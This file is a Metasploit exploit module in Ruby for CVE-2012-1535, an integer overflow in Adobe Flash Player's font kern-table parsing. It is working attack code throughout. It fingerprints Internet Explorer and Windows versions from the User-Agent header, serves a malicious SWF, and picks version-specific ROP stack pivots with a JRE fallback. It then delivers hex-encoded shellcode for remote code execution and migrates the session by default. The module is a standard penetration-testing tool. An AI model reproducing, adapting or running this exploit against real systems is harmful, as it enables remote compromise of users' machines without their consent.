236 lines
8.0 KiB
Ruby
236 lines
8.0 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::RopDb
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Adobe Flash Player 11.3 Kern Table Parsing Integer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a vulnerability found in the ActiveX component of Adobe
|
|
Flash Player before 11.3.300.271. By supplying a specially crafted .otf font file
|
|
with a large nTables value in the 'kern' header, it is possible to trigger an
|
|
integer overflow, which results in remote code execution under the context of the
|
|
user. This vulnerability has also been exploited in the wild in limited targeted
|
|
attacks. Please note in order to ensure reliability, the exploit is forced to
|
|
modify your URIPATH parameter to less than 3 characters, which may cause possible
|
|
URIPATH collisions.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Alexander Gavrun', #Through iDefense
|
|
'sinn3r',
|
|
'juan vazquez'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2012-1535' ],
|
|
[ 'OSVDB', '84607'],
|
|
[ 'BID', '55009'],
|
|
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
|
|
[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
|
|
[ 'URL', 'https://developer.apple.com/fonts/TTRefMan/RM06/Chap6.html' ],
|
|
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ],
|
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit' ],
|
|
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb12-18.html']
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
# Tested successfully on:
|
|
# Flash 11.2.202.233
|
|
# Flash 11.3.300.268
|
|
# Flash 11.3.300.265
|
|
# Flash 11.3.300.257
|
|
[ 'Automatic', {} ],
|
|
[ 'IE 6 on Windows XP SP3', {'Rop' => nil } ],
|
|
[ 'IE 7 on Windows XP SP3', {'Rop' => nil } ],
|
|
[ 'IE 8 on Windows XP SP3', {'Rop' => true, 'ASLR' => false } ],
|
|
[ 'IE 7 on Windows Vista SP2', {'Rop' => nil }],
|
|
[ 'IE 8 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ],
|
|
[ 'IE 9 on Windows 7 SP1', {'Rop' => true, 'ASLR' => true } ]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Aug 9 2012",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
|
|
], self.class)
|
|
end
|
|
|
|
def get_payload(t, flash_version=nil)
|
|
if t['Rop'].nil?
|
|
p = [
|
|
0x0c0c0c0c, # mapped at 1e0d0000
|
|
0x0c0c0c0c,
|
|
0x0c0c0c0c, # mapped at 1e0d0008
|
|
].pack("V*")
|
|
|
|
p << payload.encoded
|
|
return p
|
|
end
|
|
|
|
if t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/
|
|
print_status("Using Rop Chain For Flash: #{flash_version}")
|
|
pivot = [
|
|
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
|
0x0c0c0c0c,
|
|
0x1001d891, # xchg eax, esp # ret (1e0d0008)
|
|
].pack("V*")
|
|
|
|
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.257', 'pivot'=>pivot})
|
|
|
|
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/
|
|
print_status("Using Rop Chain For Flash: #{flash_version}")
|
|
pivot = [
|
|
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
|
0x0c0c0c0c,
|
|
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
|
|
].pack("V*")
|
|
|
|
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.265', 'pivot'=>pivot})
|
|
|
|
elsif t['ASLR'] == false and datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/
|
|
print_status("Using Rop Chain For Flash: #{flash_version}")
|
|
pivot = [
|
|
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
|
|
0x0c0c0c0c,
|
|
0x1001d755, # xchg eax, esp # ret (1e0d0008)
|
|
].pack("V*")
|
|
|
|
p = generate_rop_payload('flash', payload.encoded, {'target'=>'11.3.300.268', 'pivot'=>pivot})
|
|
|
|
else
|
|
print_status("Default back to JRE ROP")
|
|
pivot = [
|
|
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
|
|
0x0c0c0c0c,
|
|
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
|
|
].pack("V*")
|
|
|
|
p = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})
|
|
end
|
|
|
|
return p
|
|
end
|
|
|
|
def get_target(agent)
|
|
#If the user is already specified by the user, we'll just use that
|
|
return target if target.name != 'Automatic'
|
|
|
|
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
|
|
return targets[1] #IE 6 on Windows XP SP3
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
|
|
return targets[2] #IE 7 on Windows XP SP3
|
|
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
|
|
return targets[3] #IE 8 on Windows XP SP3
|
|
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
|
|
return targets[4] #IE 7 on Windows Vista SP2
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/
|
|
return targets[5] #IE 8 on Windows 7 SP1
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
|
|
return targets[6] #IE 9 on Windows 7 SP1
|
|
else
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
agent = request.headers['User-Agent']
|
|
my_target = get_target(agent)
|
|
|
|
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
|
if my_target.nil?
|
|
print_error("Browser not supported: #{agent}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
print_status("Target selected: #{my_target.name}")
|
|
print_status("Client requesting: #{request.uri}")
|
|
|
|
# The SWF request itself
|
|
if request.uri =~ /\.swf$/
|
|
print_status("Sending SWF")
|
|
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
|
|
return
|
|
end
|
|
|
|
# The TXT payload request
|
|
if request.uri =~ /\.txt$/
|
|
flash_version = request.headers['x-flash-version']
|
|
shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
|
|
print_status("Sending Payload")
|
|
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
|
|
return
|
|
end
|
|
|
|
#swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
|
|
swf_uri = "/#{@resource_name}.txt.swf"
|
|
|
|
html = %Q|
|
|
<html>
|
|
<head>
|
|
</head>
|
|
<body>
|
|
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
|
|
<param name="movie" value="#{swf_uri}">
|
|
<param name="FlashVars" value="s=#{@resource_name}">
|
|
</object>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
html = html.gsub(/^\t\t/, '')
|
|
|
|
print_status("Sending HTML")
|
|
send_response(cli, html, {'Content-Type'=>'text/html'})
|
|
end
|
|
|
|
def primer
|
|
# we need to handle direct /pay.txt requests
|
|
hardcoded_uripath("/#{@resource_name}.txt")
|
|
end
|
|
|
|
def exploit
|
|
@swf = create_swf
|
|
@resource_name = Rex::Text.rand_text_alpha(5)
|
|
vprint_status("SWF Loaded: #{@swf.length.to_s} bytes")
|
|
|
|
datastore['URIPATH'] = datastore['URIPATH'] || random_uri
|
|
datastore['URIPATH'] = '/' + datastore['URIPATH'] if datastore['URIPATH'] !~ /^\//
|
|
datastore['URIPATH'] = datastore['URIPATH'][0,3] if datastore['URIPATH'].length > 3
|
|
print_warning("URIPATH set to #{datastore['URIPATH']}")
|
|
|
|
super
|
|
end
|
|
|
|
def create_swf
|
|
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2012-1535", "Main.swf" )
|
|
fd = ::File.open( path, "rb" )
|
|
swf = fd.read(fd.stat.size)
|
|
fd.close
|
|
return swf
|
|
end
|
|
|
|
end
|